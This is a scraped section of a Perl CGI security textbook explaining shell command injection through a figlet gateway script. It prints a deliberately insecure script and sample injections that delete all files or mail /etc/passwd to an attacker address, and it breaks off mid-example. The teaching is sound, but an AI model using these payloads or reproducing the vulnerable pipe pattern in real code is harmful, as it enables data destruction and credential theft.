?? ch08_02.htm
字號:
<?label 8.2. Handling User Input?><html><head><title>Handling User Input (CGI Programming with Perl)</title><link href="../style/style1.css" type="text/css" rel="stylesheet" /><meta name="DC.Creator" content="Scott Guelich, Gunther Birznieks and Shishir Gundavaram" /><meta scheme="MIME" content="text/xml" name="DC.Format" /><meta content="en-US" name="DC.Language" /><meta content="O'Reilly & Associates, Inc." name="DC.Publisher" /><meta scheme="ISBN" name="DC.Source" content="1565924193L" /><meta name="DC.Subject.Keyword" content="stuff" /><meta name="DC.Title" content="CGI Programming with Perl" /><meta content="Text.Monograph" name="DC.Type" /></head><body bgcolor="#ffffff"><img src="gifs/smbanner.gif" alt="Book Home" usemap="#banner-map" border="0" /><map name="banner-map"><area alt="CGI Programming with Perl" href="index.htm" coords="0,0,466,65" shape="rect" /><area alt="Search this book" href="jobjects/fsearch.htm" coords="467,0,514,18" shape="rect" /></map><div class="navbar"><table border="0" width="515"><tr><td width="172" valign="top" align="left"><a href="ch08_01.htm"><img src="../gifs/txtpreva.gif" alt="Previous" border="0" /></a></td><td width="171" valign="top" align="center"><a href="index.htm">CGI Programming with Perl</a></td><td width="172" valign="top" align="right"><a href="ch08_03.htm"><img src="../gifs/txtnexta.gif" alt="Next" border="0" /></a></td></tr></table></div><hr align="left" width="515" /><h2 class="sect1">8.2. Handling User Input</h2><p>Security problems<a name="INDEX-1670" /> <a name="INDEX-1,671" /><a name="INDEX-1672" /> <a name="INDEX-1,673" /> arise when you make assumptions aboutyour data: you assume that users will do what you expect, and theysurprise you. Users are good at this, even when they're nottrying. To write secure CGI scripts, you must also think creatively.Let's look at an example.</p><a name="ch08-1-fm2xml" /><div class="sect2"><h3 class="sect2">8.2.1. Calling External Applications</h3><p><tt class="command">figlet</tt><a name="INDEX-1674" /> <a name="INDEX-1,675" /><a name="INDEX-1676" /> is afun application that allows us to create large, fancy ASCII artcharacters in many different sizes and styles. You can find examplesof <em class="emphasis">figlet</em> output as part of people'ssignatures in email messages and newsgroup posts. If<em class="emphasis">figlet</em> is not on your system, you can get itfrom <a href="http://st-www.cs.uiuc.edu/users/chai/figlet.html">http://st-www.cs.uiuc.edu/users/chai/figlet.html</a>.</p><p>You can execute <tt class="command">figlet</tt> from the command line inthe following manner:</p><blockquote><pre class="code">$ figlet -f fonts/slant 'I Love CGI!'</pre></blockquote><p>And the output would be:</p><blockquote><pre class="code">____ __ ______________________ / _/ / / ____ _ _____ / ____/ __ _ _/ _/ / / / / / / _ _ \ | / / _ \ / / / / _ _ / // / _/ / / /___/ /_/ / |/ / __/ / /_ _ _/ /_/ // //_//___/ /_____/\____/|___/\___/ \____/\____/_ _ _(_)</pre></blockquote><p>We can write a CGI gateway to <tt class="command">figlet</tt> that allows auser to enter some text, executes a command like the one shown above,captures the output, and returns it to the browser.</p><p>First, <a href="ch08_02.htm#ch08-87350">Example 8-1</a> shows the<a name="INDEX-1677" />HTML form.</p><a name="ch08-87350" /><div class="example"><h4 class="objtitle">Example 8-1. figlet.html </h4><blockquote><pre class="code"><html> <head> <title>Figlet Gateway</title> </head> <body bgcolor="#FFFFFF"> <div align="center"> <h2>Figlet Gateway</h2> <form action="/cgi/unsafe/figlet_INSECURE.cgi" method="GET"> <p>Please enter a string to pass to figlet: <input type="text" name="string"></p> <input type="submit"> </form> </body></html></pre></blockquote></div><p>Now, <a href="ch08_02.htm#ch08-67876">Example 8-2</a> shows the program.</p><a name="ch08-67876" /><div class="example"><h4 class="objtitle">Example 8-2. figlet_INSECURE.cgi </h4><a name="INDEX-1678" /><blockquote><pre class="code">#!/usr/bin/perl -wuse strict;use CGI;use CGIBook::Error;# Constant: path to figletmy $FIGLET = '/usr/local/bin/figlet';my $q = new CGI;my $string = $q->param( "string" );unless ( $string ) { error( $q, "Please enter some text to display." );}local *PIPE;## This code is INSECURE...## Do NOT use this code on a live web server!!open PIPE, "$FIGLET \"$string\" |" or die "Cannot open pipe to figlet: $!";print $q->header( "text/plain" );print while <PIPE>;close PIPE;</pre></blockquote></div><p>We first verify that the user entered a string and simply print anerror if not. Then we open a<a name="INDEX-1679" /><a name="INDEX-1680" />pipe (notice the trailing"|"character) to the <tt class="command">figlet</tt> command,passing it the string. By opening a pipe to another application, wecan read from it as though it is a file. In this case, we can get atthe <tt class="command">figlet</tt> output by simply reading from the PIPEfile handle.</p><p>We then print our content type, followed by the<tt class="command">figlet</tt> output. Perl lets us do this on one line:the <tt class="function">while</tt> loop reads a line from PIPE, stores itin <tt class="literal">$_</tt>, and calls <em class="emphasis">print</em>;when <em class="emphasis">print</em> is called without an argument, itwill output the value stored in <tt class="literal">$_</tt>; the loopautomatically terminates when all the data has been read from<tt class="command">figlet</tt>.</p><p>Admittedly, our example is somewhat dull. <tt class="command">figlet</tt>has many options for changing the font, etc., but we want to keep ourexample short and simple to be able to focus on the security issues.Many people assume that it's hard for something to go wrongwith scripts this simple. In fact, this CGI script allows a savvyuser to execute <em class="emphasis">any</em> command on your system!</p><p>Before reading further, see if you can figure out how this example isinsecure. Remember that your commands are executed with the samepermissions that your web server runs as (e.g.,<em class="emphasis">nobody</em>). If you want to test it on a web server,then only do so on a private web server that is<em class="emphasis">not</em> attached to the Internet! Finally, try tofigure out how to fix this security problem.</p><p>The reason why we suggest that you try to find the solution yourselfis that there are many possible solutions that appear secure but arenot. Before we look at the solutions, let's analyze theproblem. It should have been pretty obvious (if only from thecomments in the code), that the culprit is the call that opens a pipeto <tt class="command">figlet</tt>. Why is this insecure? Well, itisn't if the user does in fact pass simple words withoutpunctuation. But if you assume this then you would be forgetting ourrule: never trust any data from the user.</p></div><a name="ch08-2-fm2xml" /><div class="sect2"><h3 class="sect2">8.2.2. User Input and the Shell</h3><p>You should not assume this field will contain harmless data. It couldbe anything. When Perl opens a<a name="INDEX-1681" /> <a name="INDEX-1,682" />pipe to an external program, itpasses the command through a<a name="INDEX-1683" /><a name="INDEX-1684" />shell.Suppose the input were the text:</p><blockquote><pre class="code">`rm -rf /`</pre></blockquote><p>or:</p><blockquote><pre class="code">"; mail cracker@badguys.net </etc/passwd"</pre></blockquote><p>These commands would execute as if the following commands had beenentered into a shell:</p><blockquote><pre class="code">$ /usr/local/bin/figlet "`rm -rf /`"$ /usr/local/bin/figlet ""; mail cracker@badguys.net </etc/passwd</pre></blockquote><p>The first command would attempt to erase every file on your server,leaving you to search for your backup tapes.<a href="#FOOTNOTE-13">[13]</a> The second wouldemail your system password file to someone you'd probablyrather not have trying to log into your system. Windows servers areno better off; the input <tt class="literal">"| del /f /s /q c:\"</tt>would be just as catastrophic.</p><blockquote><a name="FOOTNOTE-13" /><p>[13]Thisexample shows you why it is important to create a special user like<em class="emphasis">nobody</em> to run your web server and why this usershould own as few files as possible. See <a href="ch01_01.htm">Chapter 1, "Getting Started "</a></p></blockquote><p>So what should we do? Well, the main problem is that the shell givesmany <a name="INDEX-1685" /><a name="INDEX-1686" />characters special meaning. Forexample, the backtick character (<tt class="literal">`</tt>) allows you toembed one command inside another. This makes the shell powerful, butin this context, that power is dangerous. We could attempt to make alist of all the special characters. We would need to include all thecharacters that can cause other commands to run, that change theenvironment in significant ways, or terminate our intended commandsand allow another command to follow.</p><p>We could change the code as follows:</p><blockquote><pre class="code">my $q = new CGI;my $string = $q->param( "string" );unless ( $string ) { error( $q, "Please enter some text to display." );}## This is an incomplete example; this is NOT a secure checkif ( $string =~ /[`\$\\"';& ... ] ) { error( $q, "Your text may not include these characters: `\$\\\"';& ..." );}</pre></blockquote><p>This example is not complete, and we will not provide a full list ofdangerous characters here. We won't create such a list becausewe do not trust that we will not miss something important, and thatis why this is the wrong way to go about solving the problem. Thissolution requires you to know every possible way that the shell canexecute a dangerous command. If you miss just one thing, you can becompromised.</p></div><a name="ch08-3-fm2xml" /><div class="sect2"><h3 class="sect2">8.2.3. Security Strategies</h3><p>The <a name="INDEX-1687" />rightway is not to make a list of what to disallow. The right way is tomake a list of what to allow. This makes the solution much moremanageable. If you start by saying that anything goes and looking forthose things that cause problems, you will spend a long time looking.There are countless combinations to check. If you say that nothinggoes and then slowly add things, you can check each of these as youadd them and confirm that nothing will slip past you. If you misssomething, you have disallowed something you should allow, and youcan correct the problem by testing it and adding it. This is a muchsafer way to error.</p><p>The final reason why this is the safer way to go is that securitysolutions should be simple. It's never a good idea to simplytrust someone else who provides you a "definitive" listof something as important as dangerous shell characters to checkagainst. You are the one who is accountable for your code, so youshould fully understand why and how your code works, and not placeblind faith in others.</p><p>So let's make a<a name="INDEX-1688" />list of things to allow. We will allowletters, numbers, underscores, spaces, hyphens, periods, questionmarks, and exclamation points. That's a lot, and it shouldcover most of the strings that users try to convert. Let's alsoswitch to <a name="INDEX-1689" />single quotes around the argumentto make things even safer. <a href="ch08_02.htm#ch08-83626">Example 8-3</a> provides amore secure version of our CGI script.</p><a name="ch08-83626" /><div class="example"><h4 class="objtitle">Example 8-3. figlet_INSECURE2.cgi </h4><a name="INDEX-1690" /><blockquote><pre class="code">#!/usr/bin/perl -wuse strict;use CGI;use CGIBook::Error;my $FIGLET = '/usr/local/bin/figlet';
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -